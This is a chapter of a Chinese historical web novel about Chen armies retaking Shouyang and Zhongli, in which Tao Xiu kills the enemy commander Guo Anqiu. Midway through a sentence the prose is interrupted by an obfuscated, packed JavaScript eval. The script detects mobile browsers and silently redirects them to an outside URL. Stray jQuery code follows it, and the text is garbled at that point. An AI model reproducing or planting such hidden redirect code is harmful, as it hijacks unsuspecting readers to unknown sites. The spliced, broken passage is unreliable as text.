贺功臣和郭岸秋连收三道朝廷下达的诏令,必须死守住寿阳。
迫于压力,二人在陈军的援兵未到之前已分别于常胜、善胜二营摆开阵容做最后一战。
蒋授的大军到达寿阳与鲁云渊兵合一处,迅速制定作战计划。
两军在郊野的旷地对阵,大战在即,出战的鼓声直冲苍穹。这场决定胜负的一战,周捍卫寿阳的稳固,陈欲夺回旧土,双方把全部兵力倾注战场,除了那压阵的督战队,但凡拎得动刀的都上了。
陶修依旧走在最前面,身着简单的裲裆护甲,背长剑,戳出长枪高声向敌阵喊话:“来者可是郭岸秋?”
敌阵一小卒代为回话:“郭将军说了,不与叛国忘义者搭话,他不配。”
张城从陶修身后上前一步,怒气填胸,请命道:“城主,这一战给我打头阵,我必把姓郭的押到你跟前,撬开他的嘴,看他有多硬的牙齿敢不跟你说话。”
陶修没把小卒的嘲讽放在心上,目视敌阵,从容不迫地下了一个承诺:“我要给卢将军一份大礼,他的嘴对我没有作用。”
抽出身后长剑,摩挲“林修”二字,眼神软下几分,千里之外的钟离,那人此刻亦在浴血奋战。
城主打仗干净利落,专挑敌方的“王”下手,既狠又快,他冲锋前一向心无旁骛,绝不关注战事外的事情,此时神态显然是在担忧另外一人,张城心知肚明,指向不明地说了句话:“放心,没有本领他也不敢带兵打仗,何况还有卢将军坐镇。”
“刀剑无眼,他好勇好胜……”说了半句才发现被张城套了话,爽朗一笑给话头揭过去,随即沉下眼眸紧盯前方,稳声道:“跟我进战阵。”
没有战前的润色——单打独斗,陶修和张城直接率先锋军冲进敌阵。
陶修远远见到帅旗下的郭岸秋,是个轮廓英武的男人,正来回插拔腰侧的利刃,看似气定神闲,眼睛却锐利地盯着阵中那抹鲜红的影子。
郭岸秋与陶修在战场已交手过两次,两次都打了平手,若认真评判起来,其实郭岸秋两次都输了,是他先胆怯撤军回城,回望那张面孔气势正盛的年轻人,想起当年抓到陈国老将吴将军时,也是这般奋勇,他从吴将军身上好似已看见自己青云直上、加官进爵的前景,毫不手软斩下吴将军的头颅。
杀了吴将军之后,郭岸秋万万没想到,老将军的身后还有个视他如父如师的部下卢思苌,这些年为报仇,卢思苌可谓用尽阴暗手段,光派人暗杀就达四次。
郭岸秋这十几年担惊受怕到阴鸷多疑的地步,看谁都像不怀好意,现在虽位至刺史,始终活得没那么痛快,早知日子过得这样辛苦,当年那一刀就留给别人。此次周主下令发兵,不但要翦掉陈的雄心,还欲顺道平定江南,如此立功的好机会,郭岸秋却主动请缨来寿阳,避开卢思苌的恨意。
哪晓,到了寿阳还能碰上卢思苌的爪牙。
此人比他想象的要狠,仿佛那一剑斩的是他祖宗,次次对阵都高喊“郭岸秋出来”,听说这个叫陶修的身负绝技,尤其热衷“杀敌擒王”,只要他锁定的目标,火海刀山也敢闯上去,这就算了,他身边又有个无人能敌的杀人狂魔,二人搭档起来简直所向无敌。
战事已耗了五六个月,双方退无可退进无可进,此次必要决一死战。
直至阵中的陶修杀至精疲力竭,郭岸秋终于翻身上马掠入阵中。
郭岸秋手提长枪直奔陶修而去,怒火、恨意、驱敌,逼得他目眦欲裂,来此数月,寸功未立,今日一定要杀个牙将打打牙祭。
他的马离陶修尚有一段距离,忽从乱军中杀出胡峤。
胡峤知郭岸秋的意图,挥舞双刀与他过了几招,嘴损的与之怼了两句:“城主要亲自杀你,我就把你的命留给他。”
话外之音是,我想杀你便杀,但今日我得把你留给城主去杀。
郭岸秋怒气冲天,从未受过如此挑衅,骂道:“匹夫敢蔑视我!”
两人在血腥的沙场斗了半天,胡峤见他力乏,飞速丢下郭岸秋朝陶修狂奔而去,高喊:“城主,郭岸秋交给你了。”
这场惊天泣地关乎两军存亡的战斗已血流成河,若陈军赢则占据寿阳,把北伐的目标实现大半,若周国胜,不但护住原有疆土,更能向外拓土、蚕食陈国长江以北的疆域。
一直稳坐在帅旗下的鲁云渊终于披坚执锐下到阵中,与贺功臣展开殊死搏斗。
沙场烟尘大起,狼烟遍地。
这场数万人的战场死伤无数,尸横累累,如同连接地狱的甬道,血腥残忍,鬼哭狼嚎。
陶修双手沾血,分不清是多少人的血,面对此残酷的人间炼狱,他一步一步走向郭岸秋,不搭话,挑起枪尖。
郭岸秋被他冷漠的双眼震慑,那是一双要置自己于死地的眼神,何时卢思苌竟炼了这样一把利刃。
几个回合下来,郭岸秋就力不从心,在胡峤身上消耗的体力太大,此时更不是陶修的对手。回望阵中浴血搏杀的贺功臣,不敢有撤军的念头,何况,寿阳若丢看,恐怕回去也是个死,只得再战!
“都说你疆场上独爱‘擒王’,给我看看你的手段。”郭岸秋怒瞪双目,嘲讽道:“听闻你是萧梁世子,一身本领却货于大陈,做了叛国之贼。”
陶修抹去脸上血迹,吐净口中尘土,冷漠地回道:“这是我走的路,任你们说去,不过今日我厌倦这满地死尸,只能借你人头一用。”
这场大战从巳时直打到申时,偏西的日头照下金色残光,不远处就是辽阔无际起伏翻涌的稻田,金黄金黄一片,一条河和一道高耸的土堆把战场和稻田隔开,一边喧嚣,一边宁静。
弥漫不息的狼烟尽释在清冷的秋风里,堆砌的尸骨与土堆齐平。
陶修把郭岸秋掀翻在地,自己也从马上跃下,掣出森冷的昭明王宝剑走向敌军主帅,没有犹豫,没有彷徨,得心应手,仿佛他天生就要干这件事,对闭上双目等着就死的郭岸秋说:“要怪就怪这不得太平的世道,怪你我不同的立场,怪流血成渠的惨状,我只想快点结束这一切。”
“杀人无数,还如此虚伪,你也会不得好死……”
郭岸秋的最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036805|123338||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后一句话似乎没有说全,虚弱的尾音陡然被风吹散。
剩下的事就如陶修所预料的一样,将帅一死,敌人丢盔弃甲,撤军的浪潮逐渐掀起,他们哭丧着跨过土堆,践踏金色稻田,趁着暮色紧急奔逃。
他们把宁静祥和的秋日搅乱,狼狈逃窜后,又留下一片寂静。
自此,寿阳改姓陈,被曾经的齐国占据二十年又落入周国手中十一年的旧城重新又回到大陈的手里。
对峙八个月之久的争夺战完美落幕。
其余时间就是安抚投降士卒和寿阳百姓。
装着郭岸秋人头的匣子被传送至钟离卢思苌处,卢思苌仰头大笑,祭洒三杯浊酒,终于能给敬仰一生的恩师一个交代。
他对公仪林说:“没想到我多年未报的大仇被曾经的部下完成,如你们再见面,代我向他言说我的敬意。”
这颗头颅几乎与公仪林的大军同时到达钟离,欲施展抱负的右卫望着心爱之人的“战果”,既向往又感慨,攥紧腰间雄剑,他要右卫的威名能与陶修一样响遏行云,被百姓津津乐道,他们提起陶修时,能顺便带上自己,那样,方觉得没被姓陶的丢弃。
钟离城近在咫尺,难以攻下,卢思苌似有遗憾,用只有公仪林才能听见的声音说:“当初不识此人本领,未能将他收归麾下为我所用。”
否则,攻打钟离可能就没现在这般困难。
公仪林道:“几场大战将军胜多输少,现在两城对峙,敌方早露胆怯,赶赴来的援军也被将军击败,将军为何还满面愁容?”
“这场仗持续九月之久,迟迟拿不下钟离,军士思家心切,虽粮草供应不缺,但守在此小城虚耗军力不是长久之事,眼看天气转凉,真持续到天寒地冻时于我军万分不利。”
“我今领军而来,钟离势在必得,愿听将军调遣!”
至十月,陶修收到两份捷报,一份是卢思苌和公仪林攻下钟离的消息,据说那是累尸城下、血染护城河、踩着尸体攀登城墙的一战,那日大雨倾盆,天地苍茫,雨淋白骨,主帅卢思苌头部中矢,左眼彻底失明,在夺回的城中一连休养半个月才能从床上爬起来。
右卫公仪林的大名正如他所愿,只一战便名扬全国,都说他身负八支箭,依旧拎着宝剑冲阵击杀,一身银铠变得通红,倒下那一刻,还把钟离郡守的头颅抱在怀里。
攻城的两大主帅卢思苌卧床不起、公仪林昏迷不醒,率军进城的是飞燕营的李长风,他坐在两人中间连守多日,直到他们意识清醒才将捷音传至京城。
另一份捷报来自郢州,萧钰也打了场漂亮的仗,把周军的三万人马斩杀在城外。
自此,寿阳、钟离、郢州三处皆大获全胜。大陈终于把先后丢失在齐、周手中近二十年的疆土收复回来。
陈主于秋分时举行祭告大典,祭宗庙告先祖,庄重严肃的脸上藏不住洋洋得意,对着先帝的牌位朗朗有声:“朕已实现先帝毕生夙愿,有这些忠心耿耿誓死效忠的文臣武将,朕还要继续北伐,让大陈疆域达到前所未有的辽阔,山川相连,纵横万里。”